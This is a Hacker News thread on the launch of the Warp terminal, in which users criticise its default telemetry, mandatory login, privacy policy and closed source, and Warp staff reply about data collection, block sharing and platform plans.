| Agree, this is a pretty bad deal breaker for me. Big business
| people doing short-sighted big business things, salivating at
| cramming a product full of telemetry. All without
| transparency around it? In a _terminal_ of all things??
| Indescribably off-putting and catastrophically damages my
| trust in the product and the CEO.
|
| EDIT: To be fair there is some transparency in the original
| post. I was looking through the landing page for it (where it
| is not mentioned). Also, imho it should still be opt-in even
| for beta. Not everyone is going to read the wall of text to
| parse out the buried note on telemetry
| ushakov wrote:
| or
|
| they actually listen to our feedback, remove forced
| telemetry, remove sign-in in the next release, then i'd be
| more happy to give their product another chance
|
| although no guarantee they'll not turn evil at some point
| in the future...
| encryptluks2 wrote:
| If they start out evil, then don't expect them to change.
| Groxx wrote:
| Wanting to collect usage information and errors isn't
| evil-by-default. It's _incomparably_ useful for
| troubleshooting and improving. Absolutely nothing works
| better, it 's the best by a ridiculously large margin.
|
| But yeah, terminals are very sensitive environments, opt-
| in should be a default even at launch.
| robbedpeter wrote:
| It is evil by default. Paying beta testers, or giving
| them a free, opt-in version with telemetry is the ethical
| route. Being ridiculously, over the top clear about
| exactly what you snarf off the end user is the ethical
| route.
|
| You are not entitled to access my machine, and that
| shouldn't be casually dismissed with "don't worry, we're
| not doing anything bad." You're creating potential
| vulnerabilities, and by implementing identifiable
| patterns, reducing the security of your users.
|
| You shouldn't spy on people, and when you do, it's wrong.
| Remotely inspecting people's behavior is spying.
|
| Your software doesn't need to phone home. It doesn't need
| automatic updates. You don't need to spy on people to
| develop good software. That's toxic nonsense.
| bitwize wrote:
| > Absolutely nothing works better, it's the best by a
| ridiculously large margin.
|
| Then why is the telemetry-encrusted modern Windows a
| usability fail, even compared to past versions of Windows
| which relied on extensive in-house user testing?
| cestith wrote:
| I appreciate the balanced, reasonable discussion.
|
| I agree both that telemetry is useful and that there's
| not necessarily a place for it in the tool I use to
| manage my workstation and hundreds of servers. Perhaps
| I'd opt in to a middle ground, that is collect telemetry
| locally into a support file I can review, evaluate, and
| potentially redact before submission.
| triska wrote:
| > Absolutely nothing works better, it's the best by a
| ridiculously large margin.
|
| Is this really the case? It seems that to find mistakes
| in software for various interaction patterns, truly
| _exhaustive_ automated tests would likely work far better
| by various measures (coverage, reliability,
| reproducibility, reusability etc.) and at the same time
| do not have the extreme downside of privacy invasion. For
| example, see a section from the _Age of Empires_ Post
| Mortem https://www.gamedeveloper.com/pc/the-game-
| developer-archives... :
|
| " _8. We didn't take enough advantage of automated
| testing. In the final weeks of development, we set up the
| game to automatically play up to eight computers against
| each other. Additionally, a second computer containing
| the development platform and debugger could monitor each
| computer that took part. These games, while randomly
| generated, were logged so that if anything happened, we
| could reproduce the exact game over and over until we
| isolated the problem. The games themselves were allowed
| to run at an accelerated speed and were left running
| overnight. This was a great success and helped us in
| isolating very hard to reproduce problems. Our failure
| was in not doing this earlier in development; it could
| have saved us a great deal of time and effort. All of our
| future production plans now include automated testing
| from Day One._ "
| throw10920 wrote:
| Automated tests are completely useless for finding (let
| alone _solving_ ) human interaction issues. To compare
| them with telemetry is a category error.
| encryptluks2 wrote:
| Shouldn't human interaction errors be left up to the user
| to report, as opposed to software sending sensitive
| information to a third-party?
| warent wrote:
| No data on this but instinctively it seems, given
| alternatives, _most_ people abandon some buggy software
| rather than patiently reporting problems and waiting for
| it to get better.
| nicce wrote:
| Usually the practice in these scenarios is to try out all
| possible ways to make out money and then go a little
| backwards once the public outcry is big enough. At some
| point you find the most profitable balance situation,
| before you have expelled all customers.
| encryptluks2 wrote:
| There is a plethora of free GPU-accelerated terminals.
| Alacritty, kitty, foot, wezterm, etc. None of these as
| far as I know send telemetry data. I see no reason to
| think that a new terminal is going to make money somehow
| by finding a balance.
| ddoolin wrote:
| This is why I deleted Fig (https://fig.io/) right after
| installing it. It must've sent some uninstall information,
| too, because the creator/CEO emailed asking why I
| uninstalled it afterwards...
| grnmamba wrote:
| "Send Download link" is a huge red flag. The only reason
| to have such a button is to send spam.
| mattl wrote:
| Yikes. No thanks.
| Arcuru wrote:
| Oh yea, Fig is also the one that is Mac only but never
| mentions that fact anywhere on their website. Everything
| is written to just presume that the reader is on a Mac.
|
| Their getting started instructions [0] are all just
| terminal commands too, and even that doesn't mention Mac
| once.
|
| [0] - https://fig.io/docs/getting-started
| alimov wrote:
| They have a complete telemetry section on their website
| where it also states that no input or output data is
| collected.
| supramouse wrote:
| yeah, hard pass
|
| edit: no windows or linux support ???
| rubyist5eva wrote:
| yeah I just block all of those domains in my dns reverse proxy
| now, idgaf
| systemvoltage wrote:
| Also, sorry if this is harsh but speaking my mind: why is
| important to mention what the underlying programming language
| is?
|
| It seems like misdirection and marketing. Products built with
| Rust are particularly susceptible to it.
| cors-fls wrote:
| I cant use it either (mostly because it's Mac only and also
| because of the sign-in requirement), but at least they are
| transparent about it :
|
| https://docs.warp.dev/getting-started/getting-started-with-w...
|
| https://docs.warp.dev/getting-started/privacy
| tedivm wrote:
| That privacy policy is sketchy. It starts with this-
|
| > Our general philosophy is complete transparency and control
| of any data leaving your machine. This means that in general
| any data sharing is opt-in and under the control of the user,
| and you should be able to remove or export that data from our
| servers at any time.
|
| They then go on, further down the page, to say that this
| first paragraph is a complete lie-
|
| > However, for our beta phase, we do send telemetry by
| default and we do associate it with the logged in user
| because it makes it much easier to reach out and get feedback
| when something goes wrong.
| 130e13a wrote:
| is that even legal? or can you just write whatever you want
| into a privacy policy?
| doctor_eval wrote:
| It's a policy - a set of rules. It's only a problem if
| you say something and don't do it. But even then,
| enforcement is most likely to come from interested
| parties like payment providers, who couldn't generally
| care less as long as it's not their data that's
| compromised.
| jbverschoor wrote:
| Thank you!
| privacyonsec wrote:
| well, they gotta pay back those $17M to investors !
| alokedesai wrote:
| I definitely understand the concerns. For our public beta, we
| do send telemetry and associate it with the logged in user
| because it makes it much easier to reach out and get feedback
| when something goes wrong. But we only track metadata, never
| console output. For an exhaustive list of events that we track,
| see here: https://docs.warp.dev/getting-
| started/privacy#exhaustive-tel.... Once we hit general
| availability, our plan is to make telemetry completely opt-in
| and anonymous.
| cameldrv wrote:
| This looks very interesting to me, but some of this telemetry
| is a deal breaker. On your privacy page, it says "Our general
| philosophy is complete transparency and control of any data
| leaving your machine." If I have complete control of any data
| leaving my machine, can I opt to turn off the telemetry
| entirely?
| broknbottle wrote:
| of course not. how else will they be able to make you the
| product without their trojan rabbit sending back all kinds
| of telemetry goodness.
| GordonS wrote:
| At least for EU users, you cannot collect information like
| this without the _explicit_ consent of those users.
|
| It's 2022 FFS, and still companies are over-stepping the mark
| - companies behaving like yours are exactly the reason GDPR
| and ePrivacy etc exist in the first place :/
| blktiger wrote:
| I definitely will not try it if the analytics part are not
| optional, though I am glad to see you're documenting exactly
| what gets sent. I might consider trying it and even opt-in to
| the analytics once you make it optional.
| tedivm wrote:
| Wow, this is just unbelievable. You don't say anywhere on
| your privacy page that you are associating this data with
| specific users.
|
| Everything your company says regarding privacy seems to be a
| complete lie. You contradict yourselves everywhere. As a
| security officer I would never allow any company whose
| security I run to use your product- even if you fix this
| issues now who knows if you're going to lie again in the
| future.
|
| Trust is hard to regain once lost, and your company
| definitely blew it here.
| progbits wrote:
| Maybe don't put this lie in the middle of the homepage?
|
| > Private & Secure
|
| > All cloud features are opt-in. Data is encrypted at rest.
| ASalazarMX wrote:
| Or prefix it with a "Final product will be ..."
| jbverschoor wrote:
| Encryption at rest is fun until the keys are leaked.
| runako wrote:
| > we only track metadata, never console output
|
| It would be meaningful to indicate whether you track console
| _input_ as well.
| JoBrad wrote:
| From their link, it seems they don't. Agree that positive
| confirmation would be good, for beta.
|
| > We do not store any data from the command input or output
| itself as part of our telemetry.
| zachlloyd wrote:
| This is correct. We do not send or store any terminal
| contents (input or outputs) to our server.
|
| The only case in which that is not true is if a user
| elects to use Warp to share the output of a command using
| our Block Sharing feature.
| RL_Quine wrote:
| With the rest of your responses I'm left looking for
| weasel words in here.
| alokedesai wrote:
| That's an important callout! By console output, we really
| mean output from the pseudoterminal, which includes command
| input and output printed to the terminal.
|
| We don't store any content of _any_ part of a command
| that's executed in Warp.
| sorokod wrote:
| ... and never will?
| OutsmartDan wrote:
| That's a ton of data being collected. I would rather much
| have this submitted during a crash, rather than opt-in/opt-
| out. I'd not want to use a terminal that has data collection
| that crosses the internet every time I use it.
| zhengt wrote:
| Totally understand if you don't feel comfortable using it!
|
| The reason we don't submit this only during a crash, is
| because there are a lot of other things we want to know
| about users like: Which features are they using? Are they
| sticking to warp as their daily driver? How much time do
| they spend in the app?
|
| We do want to make the telemetry opt-in after Warp is out
| of beta.
| aaomidi wrote:
| You should do that now and just ask on startup.
|
| Honestly opting in by default is, at least in my opinion, not
| acceptable.
|
| People who would say no to that popup would not appreciate
| you randomly reaching out to them anyway.
| stormbrew wrote:
| It's just.. an incredibly bad look to have this be the top
| comment on a post about this while the website claims that
| "cloud stuff" is opt-in.
|
| It's _more_ essential to be honest about this during the beta
| period than after, so "oh it _will be_ opt in " is a cold
| comfort, alongside the approximately never-true "we'll open
| source it some day."
|
| Not touching this with a ten foot pole. Not for something as
| essential to my day to day work as a terminal.
| zachlloyd wrote:
| We tried to be really upfront in the privacy policy:
|
| https://www.warp.dev/privacy
|
| Opt-in refers to anything that sends any contents of a
| terminal session to our servers (as opposed to telemetry
| which is metadata and never contains any terminal input or
| output). But we hear the feedback and appreciate it.
| Fnoord wrote:
| Do you believe your policy is GDPR compliant?
| oneepic wrote:
| I was confused by your wording, but I think this section of
| the link is very relevant:
|
| >When Warp comes out of beta, telemetry will be opt-in and
| anonymous.
|
| >But for our beta phase, we do send telemetry by default
| and we do associate it with the logged in user because it
| makes it much easier to reach out and get feedback when
| something goes wrong.
| RL_Quine wrote:
| That doesn't fit people's normal expectations. You're being
| intentionally deceptive.
| good_good wrote:
| teakettle42 wrote:
| > Opt-in refers to anything that sends any contents of a
| terminal session to our servers
|
| There shouldn't even be the option to opt-in to something
| so privacy violating.
|
| Having built-in sending of session content means dangerous
| data exfiltration is always just one bug or accidental
| click away.
| spiderice wrote:
| Further down in the thread, they claim that Warp is nearly as
| fast as Alacritty. Then a user points out that it isn't even
| close and their response is basically, yeah, we know that. We
| want to fix it.
|
| How does a company expect lying on HN to work out well for
| them? I'm sure they're doing their best, and are excited
| about their launch. But they are coming off as so shady
| because they're trying to fool people.
| asadlionpk wrote:
| This. I was excited to try it but I cannot use this on my work
| computer at all.
| BarbaPeru wrote:
| Yep, I can pay money for a piece of software so important for
| my workflow, but no telemetry, no login and other stupid stuff
| even in opt-in/opt-out fashion.
| wildmanx wrote:
| > I really wanted to like it, too. The screenshots look great
|
| Agreed! Let's just wait for a FOSS alternative to pop up that
| has a few similar fundamental features. Don't need the cloud-
| multi-user-account-based stuff.
| traceroute66 wrote:
| > Wanted to give it a shot but got disappointed when I launched
| it and the following happened
|
| Yup, well, that's what happens when you take money from VCs or
| other third party investors, you need to monetise / demonstrate
| ROI / need numbers for your investor slide-decks.
|
| I'll stick to my old-fashioned spyware free terminal thanks
| very much. Why overcomplicate things that don't need to be
| complicated.
| doctor_eval wrote:
| Yep. In my last project one of the key USPs was privacy. The
| product vision was built around it and it was fundamental to
| our positioning in the market.
|
| But I made the mistake of letting investors share executive
| control of the company, and _pop_ there goes the pro-privacy
| policy.
|
| In defence of founders everywhere, however, I will say that
| the investors didn't just say "no". They strung me along for
| almost a year, insisting we would be meeting about it,
| recording decisions where we apparently agreed, even pointing
| out those decisions while they flagrantly violated them in
| practice.
|
| So who knows what's happened here. A lot of the messaging
| sounds like what happened to me. "Yes we know privacy is
| important and in the future mumble mumble."
| nikolay wrote:
| I've been using Warp on and off since it got released and I was
| under the impression that it was Electron-based as it didn't feel
| as responsive as iTerm. At one point, with just one open tab (in
| the early days), it was using over 10GB of memory, but I will
| definitely give it another fresh try.
| alokedesai wrote:
| Thanks for calling this out! Yeah we unfortunately had a memory
| issue early on with loading fonts that would cause memory in
| Warp to explode. This has since been fixed and memory in Warp
| should hover around ~50-100 MB.
| nikolay wrote:
| Thank you! Now it feels much better!
| etaioinshrdlu wrote:
| I think that Blocks are the most interesting feature here as it
| seems to fix the biggest issues with terminals that make them
| feel broken and out of date.
|
| I am concerned that they will only work for simple workflows and
| not work with ssh, or docker attached shells, unless extreme
| effort is put into this area.
| alokedesai wrote:
| We do support SSH, but Docker support is still something we'd
| like to support, you can read more about how we are able to
| render blocks here: https://www.warp.dev/blog/how-warp-works.
|
| Ultimately, our ideal state would have to have an API for this
| so that developers can implement this themselves to support
| blocks in arbitrary REPLs (mySQL, Python, etc).
| kyeb wrote:
| There are some legitimate concerns about Warp throughout these
| comments (telemetry, business model, etc.).
|
| But the one thing that really excites me is to have a full team
| working full-time on building the terminal that developers want
| to use. They're doing real user research, talking to developers,
| and taking feedback in forums like HN seriously - and using up
| millions of VC-dollars building a new version of this
| fundamentally important core utility. I'd much rather have that
| VC money go toward an attempt at a better terminal than some ML
| or web3 startup.
|
| I think this doesn't usually happen? All the terminal emulators
| I've used usually open-source projects developed in someone's
| free time. Don't get me wrong, projects like Alacritty, urxvt,
| xterm, Terminator etc. are amazing for the funding they have (I
| think mostly $0?), but I'm super excited to see what a cohesive
| terminal based on real UX research can look like.
| zachlloyd wrote:
| Thanks kyeb. I agree with both points here - we need to be very
| careful and sensitive in terms of how we build this product
| from a privacy and security perspective, but we see the
| opportunity mostly the same way you do.
|
| There are some great open source terminals out there, but
| having the opportunity to rethink it with a team of dedicated
| full-time engineers I think gives us an opportunity to build
| something really powerful and useful.
| Kalium wrote:
| Not to mince words, but so far you've made a very basic
| series of unforced errors on both privacy and security. This
| is perhaps to be expected, as glancing at your About page,
| you don't seem to have any security or privacy specialists on
| staff. I don't even see a security page or contact info.
|
| Warp is starting to read like a Product-driven startup. The
| kind where people figure security and privacy are little
| features you can just throw in at the end of the dev cycle
| and advertise until then. It's not like anybody is going to
| actually check or care, right?
|
| It's an understandable error in a visionary. Yet it's not the
| kind of mindset that produces trustworthy, secure, privacy-
| respecting enterprise products that companies happily pay
| lots for.
|
| You're absolutely right. Warp needs to be very careful and
| sensitive about privacy and security. It may be worth
| reflecting on why you haven't been so far.
| qbasic_forever wrote:
| Yeah I think some folks are seeing this and thinking the
| terminal is the product, when in reality the devops platform is
| the real product here and a slick terminal emulator is one
| component of that platform. Enterprises pay good money to
| companies like Redhat, Teleport, etc. for similar kinds of
| devops collaboration/security platforms.
| ushakov wrote:
| where's the devops platform?
|
| if all they have to offer us is the terminal, then their
| product is the terminal
| zachlloyd wrote:
| it's a good question. today warp is a terminal as you say.
| the hope is that we can build a platform around the
| command-line, but we decided by trying to start with the
| terminal's fundamental UX to see if we could improve it. in
| order to make a platform we believe first we need a great
| product that folks want to use.
| feanaro wrote:
| Everyone offering "platforms" these days. It's getting
| really tired and I can't be bothering to pay attention.
| Tools is where it's at, not platforms.
| fallat wrote:
| LOL, no. "CEO of warp". I like my terminal because it's a dumb
| text terminal, not because it's smart. At least you'll reach the
| majority normie users and make some dollar there.
| ritmatter wrote:
| Excited to see this launch! I think there is a lot of opportunity
| for a terminal that is aware of the fact that the one-computer-
| per-dev model is not really how it works anymore. That, and a
| terminal that can help me avoid big mistakes, help me remember
| commands, and more. It's great to see innovation take place in
| this space.
| johnnyAghands wrote:
| A modern terminal == Login to use? Was super excited, followed by
| instant disappointment. I hope they can remove this asap -- a
| severe misstep imo.
| madeofpalk wrote:
| > I'm ___, founder and CEO of Warp, and am excited to show you
| Warp, a fast Rust-based terminal
|
| To be honest - it feels weird seeing a company launch a free
| terminal, in 2022. How will the company make money? How long will
| this tool be around for? How will this company degrade the
| experience, or my privacy, so they can make money?
|
| I also don't know how to square my thoughts on the above with the
| need to have sustainable open source development which no one
| seems to pay for?
|
| ---
|
| Anyway, neat to have a new terminal that isn't Electron, but I'll
| stick to MS Terminal. At least they already have all my telemetry
| data.
| sgt wrote:
| Here's my idea! A repurposed "sl" (the stream locomotive
| program) that displays ads every 300 characters you type.
| smoldesu wrote:
| We're going to need more analytics on customers use pattern
| before we can launch this idea publicly though.
| mirekrusin wrote:
| You can target it, ie. if you invoke javac more than once a
| day, it could recommend local depression clinic services.
| michlim wrote:
| Warp engineer here.
|
| The terminal is totally free for individuals. Our business
| model is to make the terminal so useful for individuals that
| their companies will want to pay for the team features.
|
| We will not degrade your experience: we would never charge for
| anything a terminal currently does. No paywalls around SSH or
| features that don't cost us money. We will never sell your
| data. We treat privacy seriously at Warp: check out
| www.warp.dev/privacy for more information.
|
| We are planning to open-source parts and potentially all of the
| terminal.
| ushakov wrote:
| > Our business model is to make the terminal so useful for
| individuals that their companies will want to pay for the
| team features.
|
| why would businesses pay for something that was always free?
|
| selling bottom to top is terrible strategy that rarely works
| (been there, done that)
|
| you should instead market it to decision-makers who actually
| have a say what services the business purchases or not
|
| developers have no say in business and have no access to
| credit cards
|
| basically if you want to sell a terminal app, don't sell a
| terminal app, instead sell your "productivity platform" and
| terminal is just needed to "access productivity benefits"
| renewiltord wrote:
| The collaboration tooling stuff sounds interesting. It's
| the same model as Postman.
| atonse wrote:
| Excitedly downloaded this, launched it, and then was met with a
| login screen. wop wop. I closed it and deleted it.
|
| I don't understand. Why is login a requirement to even use it?
|
| Why not have an excellent free terminal as a way to get people
| using your tools, and then add the collaborative/audit features
| as paid features? That way many devs would not only start using
| this, but can make it a part of their daily workflows.
| zhengt wrote:
| Hi - Warp engineer here! Fully understand your disappointment
| and hesitation.
|
| The terminal is totally free for individuals. The general
| philosophy is that we would never charge for anything a
| terminal currently does. So no paywalls around SSH or anything
| like that.
|
| You're totally right in that the collaborative/audit features
| are a good fit for being paid features. Our business model will
| be around charging companies for team features.
|
| For our public beta, we do send telemetry and we do associate
| it with the logged in user because it makes it much easier to
| reach out and get feedback when something goes wrong. But we
| only track metadata, never console input or output. For an
| exhaustive list of events that we track, see here:
| https://docs.warp.dev/getting-started/privacy#exhaustive-
| tel.... If this is uncomfortable to you, please wait for Warp
| to enter General Availability. At that point our plan is to
| make telemetry opt-in and anonymous.
| titaniumtown wrote:
| project is a huge yikes
| NoraCodes wrote:
| This is neat, but I'm not convinced it's going in the right
| direction.
|
| It's not open source, and "maybe it will eventually be" is
| unacceptable for such a core component of an engineer's workflow.
| Most of the features on the front page are "coming soon," not
| actually available. There's no timeline for support for non-Mac
| OS systems, and it's built using Metal rather than any cross-
| platform API, so it will be at least moderately difficult to
| port. (Isn't the whole point collaboration?) It is "blazingly-
| fast" but has no benchmarks for latency or startup time.
|
| The team raised money because "[b]uilding a terminal is hard,"
| and the business model seems reasonable - build a terminal people
| like, and then get businesses to pay for it - but I'm hard-
| pressed to find a use case that would benefit from the upsides of
| this tool which isn't also utterly hamstrung by its shortcomings,
| at least currently.
|
| Yeah, maybe you can justify it at an all-Mac dev shop, but at the
| last all-Mac place I worked we did everything this currently does
| with iTerm (free) and Tuple, and frankly I don't see this
| obviating the need for Tuple in that use case. (EDIT: Tuple also
| works fine on Linux, and of course there are myriad excellent
| terminals for Linux.)
|
| Perhaps most importantly, though, this FAQ entry concerns me:
|
| > Every session you work on your desktop can be backed by a
| secure web permalink. It opens into a browser tab that shows your
| terminal state and allows readers to scroll and interact with the
| read-only elements. You might use this for yourself: so you can
| view and run commands on it while you're away from your machine.
| Or you might share it with a coworker for debugging.
|
| First of all, is this actually available at the moment? I think
| not, since "Web (WASM)" is still on the roadmap.
|
| Second, "secure" is doing a lot of work here. What's the threat
| model Warp considers themselves secure against? How are these
| sessions allocated? Does every terminal start in a connected
| state, or is the connection only made once the user opts in? Are
| the terminal sessions E2EE? Are they exposed to Warp's internal
| systems? If so, what is stopping any attacker who makes it into
| Warp's network from remotely monitoring and controlling user
| machines? If Warp says it _is_ E2EE or otherwise secured in this
| manner, how can we trust them when it's not open source?
|
| This seems too risky to be worth using seriously, and perhaps too
| risky to even try out.
| websap wrote:
| 1000s of developers use Idea's IntelliJ, Webstorm and GoLand.
| Only the community edition of IntelliJ is open source.
|
| Software doesn't need to be open source for it to be adopted,
| if they have the right security practices and I'm sure for
| enterprise contracts they will have the right level of
| information available under NDA when GA.
| Kalium wrote:
| Enterprise contracts also include clauses spelling out
| financial consequences of major screwups. If Jetbrains screws
| up and a customer's passwords go everywhere, I'd bet the
| contract makes Jetbrains at least a bit liable.
|
| I doubt Warp offers a clause like that.
| websap wrote:
| You're comparing a 10+ year old company with a company that
| has a product in beta. I don't think this is a valid
| comparison. I'm sure they'll provide enterprise level
| contracts and support for large installation at some point.
| seumars wrote:
| >It's not open source, and "maybe it will eventually be" is
| unacceptable for such a core component of an engineer's
| workflow.
|
| That's a huge overstatement. What's unacceptable about it (or
| any other software for that matter) closed-source?
| throwanem wrote:
| Yeah, I just got an invite code yesterday, but given this I may
| opt against using it - this seems like a real risk for leaking
| env vars, credentials...I don't so much mind stuff like Segment
| and Sentry, but I'd love to see some details from someone
| familiar with the project around the same questions you raised
| regarding the web-integrated functionality.
| alokedesai wrote:
| Great callouts, I definitely get your concern around block
| sharing--that feature does exist currently in Warp but it is
| completely opt in on a per command basis (we never collect any
| command output without the user opting into it first). The way
| this works is that if you explicitly click "Share" by right
| clicking on a block, we will send the contents to our server
| and generate a link for you. A block can also be unshared at
| any point to completely delete a block from our server.
|
| Regarding the cross-platform piece, the plan is absolutely to
| support different platforms. In fact we've built our own cross-
| platform UI framework to help us with this endeavor which you
| can read about here: https://www.warp.dev/blog/how-warp-works.
| We chose Metal to start because the Metal debugging tools in
| Xcode are excellent, allowing us to inspect texture resources
| and easily measure important metrics like frame rate and GPU
| memory size. Thankfully, because our graphics code is decoupled
| from our UI framework, porting the graphics piece of the UI
| framework essentially mounts to porting over a few hundred
| lines of shader code, which shouldn't be too difficult.
| throwamon wrote:
| > Otherwise, sign up here to be notified when Warp is ready for
| your platform.
|
| Uh... Sign up where?
| booi wrote:
| Here i guess?
|
| sign me up
| inChargeOfIT wrote:
| I realize how much effort is going into a project like this and I
| do hope you find a way to monetize on it, but until it's open
| sourced and auditable, I personally could never see me using it.
| The risk is simply too high.
| sys_64738 wrote:
| Closed source terminal? Pass.
| dilDDoS wrote:
| A login-required terminal that sends telemetry to multiple
| sources is on the front page...why? Is it just because it's
| written in Rust? I don't see any other reason. It's not even
| fully open source.
|
| > After 20 years of programming, I still find it hard to copy a
| command's output; I always forget how to use `tar`; and I always
| have to relearn how to move my cursor.
|
| Huh? I think if it takes you >20 years to do basic stuff like
| that, you need to revisit your approach to learning new things.
| If I play chess for 20 years and still don't know how to move the
| pieces, it's not the game's fault, it's mine.
| varbhat wrote:
| I use configured zsh which has majority of features mentioned
| above. It is integrated with fzf and also has autcompletions(with
| help description), autosuggestions,hints, file completions and
| more. You can see my zsh dotfiles below.
|
| https://github.com/varbhat/dotfiles/tree/main/dot_config/zsh
|
| I could even have enabled real time type ahead completions with
| this plugin but i haven't (because i don't need this feature) :
| https://github.com/marlonrichert/zsh-autocomplete
|
| i use my current configuration on foot terminal (which itself is
| blazing fast and boasts fastest vtt parser) in linux and kitty
| terminal (which is very feature rich, even has terminal graphics
| protocol so that you can even run glxgears(opengl cube demo:
| https://github.com/michaeljclark/glkitty) on it) on linux and
| macos.
|
| i am sure that other shells such has fish also have these
| features.
|
| So, what benefits do i get on switching to warp? currently,i
| don't see any except few marketing words which aren't enough for
| me to start using warp.
|
| I might be missing something but i am all ears.
| michlim wrote:
| Warp engineer here.
|
| Here are some differentiated features:
|
| - Blocks: we group commands and outputs together so it is
| easier to navigate through the terminal, and perform actions on
| the outputs [0]
|
| - A text editor for the input: selections, cursor positioning,
| multiple cursors [1]
|
| - Workflows which allows you to save and share hard-to-remember
| commands [2]
|
| The projects you mentioned are great. They do involve some
| amount of configuration. We have those out of the box so they
| are more easily accessible to developers.
|
| [0]https://docs.warp.dev/features/blocks
|
| [1]https://docs.warp.dev/features/the-input-editor
|
| [2]https://docs.warp.dev/features/workflows
| msdrigg wrote:
| https://news.ycombinator.com/item?id=9224
| titaniumtown wrote:
| hahaha
| ha_mei_93 wrote:
| dudus wrote:
| I don't follow the drama. I only hear good things about Rust
| from the folks here at HN's, I personally never got interested
| in checking it out.
|
| But I don't quite follow why it's so important to know what
| programming language was used to build your closed source
| binary terminal app. Cool you used Rust. Why should I care?
|
| I use iTerm2 as my Terminal. Their homepage doesn't tell me
| which language it was written in, it has a nice page that
| highlights its features, and an extensive FAQ. In neither of
| these places language choices are highlighted. You only see
| that once you go into their gitlab, which is what I expect.
|
| It's mostly Objective-C BTW.
| zhengt wrote:
| We started with Electron/Typescript and pivoted to Rust when it
| was clear that the performance was unfeasible for certain
| workloads (e.g. scrolling on 4k monitors).
|
| If we already had a C++ terminal, I don't know that we would've
| rewritten in Rust. Starting from scratch, we were able to build
| an app and ship features in a good cadence.
|
| We mention Rust in our marketing, because when talking about
| our features like blocks, code editor, visual menus, people
| automatically think "slow".
| kitsunesoba wrote:
| One feature that's missing from a surprising number of Mac
| terminals is a hotkey-bound non-activating dropdown (think Quake
| console) or HUD window (imagine a floating, frameless terminal
| window in the vein of the Alfred or Spotlight window).
|
| The best implementation of this to date was in
| TotalTerminal/Visor, which was a mod for the Apple terminal that
| added this feature but naturally went the way of the dodo when
| macOS added SIP. iTerm2 has a feature that kinda does this, but
| that implementation is comparatively janky and half-baked
| feeling.
|
| If Warp gained a polished version of this there's a good chance
| of it becoming a mainstay on my systems.
| cieplik wrote:
| Hey! Actually, Warp does have a "quake mode" - you should give
| it a try (Settings -> Features -> Hotkey Window)
| mapcars wrote:
| For me this shows kinda narrow thinking. Terminals have been
| around forever and adding more colors or gpu accelerations is not
| doing anything for it. What we need is more innovative ideas how
| to get rid of terminals, not how to accelerate text output. Also
| Mac-only as if Mac users need terminals that much.
| yessirwhatever wrote:
| When someone uses "re-imagined from the ground up" I expect that
| this terminal will not function like any other terminal I've seen
| before. Yet it looks exactly the same.
| [deleted]
| smm11 wrote:
| I recall when you could use a terminal and not once type 'git.'
| gerbilly wrote:
| It looks nice but I'd never use a shell that phone's home.
| Period.
|
| I mean the CLI has been one of the last parts of my system that I
| really still trust is working on my behalf only.
|
| This product made me rethink that assumption.
|
| As for capturing the output from a command line on the mac (and
| also on linux IIRC) just use pbcopy/pbpaste.
|
| My opinion: It's not worth giving your privacy away for features
| like this.
| kzrdude wrote:
| Lots of CLI tools phone home unfortunately. I mean, snap has a
| cli.. :) Maybe that's low hanging fruit.
| qbasic_forever wrote:
| Do you use Windows? Have you ever opened its terminal?
| Congrats, you're using a terminal that you agreed can phone
| home with telemtry. See https://www.microsoft.com/en-
| us/p/windows-terminal/9n0dx20hk... and the link to the privacy
| policy for windows terminal
| http://go.microsoft.com/fwlink/?LinkID=521839
|
| I suspect OSX is no different and has similar telemetry and
| privacy policy for its terminal.
| andrewzah wrote:
| Exactly, that's why people tend not to choose Windows for
| development unless they're forced to.
|
| edit: use -> choose
| Kuinox wrote:
| This is so far from truth it's hilarious.
| hoistbypetard wrote:
| > Exactly, that's why people tend not to choose Windows for
| development unless they're forced to.
|
| In my experience, most people who are developing software
| for Windows choose to use it to develop that software.
| There are a great many people who choose to develop
| software for Windows.
| gerbilly wrote:
| Nope. I have never used Windows on any of my personal
| machines, not ever. I am waiting this MS Windows thing out,
| you could say.
|
| At work I have used it in some cases when not given the
| choice.
|
| If some company I am working for is fine with the Windows
| CLIs telemetry, then I suppose it is up to them, although I'd
| argue against it.
| einpoklum wrote:
| > Do you use Windows?
|
| Whenever I do that, I can never decide whether it's me who's
| using Windows or Windows that's using me :-(
| Klonoar wrote:
| In an (absurd-ish) defense of macOS, I don't believe anyone
| really uses the built-in Terminal and grabs an alternative
| (often iTerm2).
|
| There's also the rumor that Terminal in macOS has had a
| handful of developers working on it, at best, over the years.
| I would bet money that Apple doesn't care enough about it to
| bother with telemetry and/or privacy policies for it.
| GekkePrutser wrote:
| I bet that's true. MacOS terminal is basically still the
| one from next step. They've kept it up to date with changes
| like GUI toolkits and added a few minor things like tabs.
| But that's about it.
|
| Fwiw I never bothered with iTerm, Terminal is good enough
| for me. It even supports some old school vt100 stuff like
| double width and height fonts. It's one of the better vt100
| compatible ones.
| wodenokoto wrote:
| It's the only terminal I use on macOS. It's a really "gets
| out of your way" piece of software. And super closed
| source.
| metadat wrote:
| I used iTerm from 2010-2018, but then I saw a respected
| colleague not using iTerm, so I decided to try out the
| Terminal.app bundled with macOS. It actually works fine,
| the only difference is that it never gets slow and is
| available on ever mac machine.
| digisign wrote:
| Yes, they never substantially upgraded it once it hit 1.0
| about two decades ago.
| monocularvision wrote:
| I have been using the built-in macOS terminal every day for
| years now.
| madeofpalk wrote:
| I still find macOS Terminal to be noticeably faster than
| item. At displaying my keyboard input and shell output. It
| lacks other features, namely split windows, that move me to
| iTerm, but I do like how fast Terminal is.
|
| > There's also the rumor that Terminal in macOS has had a
| handful of developers working on it, at best, over the
| years.
|
| This but every app on the mac that isn't Safari.
| Klonoar wrote:
| >This but every app on the mac that isn't Safari.
|
| Eh, I know it's a joke but there are full teams who work
| on Pages/Numbers/etc.
| jjtheblunt wrote:
| i have been using the macOS Terminal since macOS X was a
| thing (with different capitalization) and since its origins
| in NeXTstep since around 1990.
|
| I suspect it's the same codebase, but don't have a proof of
| that.
| Longlius wrote:
| No. I don't use Windows. Or OS X.
| digisign wrote:
| Would you expect anything less than a product from the first
| company to lie down for the NSA?
| ushakov wrote:
| > I suspect OSX is no different and has similar telemetry and
| privacy policy for its terminal
|
| wrong, Apple isn't Microsoft
| titaniumtown wrote:
| > forgets linux exists
| etaioinshrdlu wrote:
| For completions, I would recommend becoming compatible with
| https://fig.io/ ; perhaps investigating a partnership or even
| merger with them.
| spudlyo wrote:
| There definitely seems to be overlap here. I'm finding it hard
| to believe that VCs have backed both these vary similar ideas
| that seemingly a large portion of their target audience finds
| objectionable. The HN discussions around Fig have also had a
| similar negative tone.
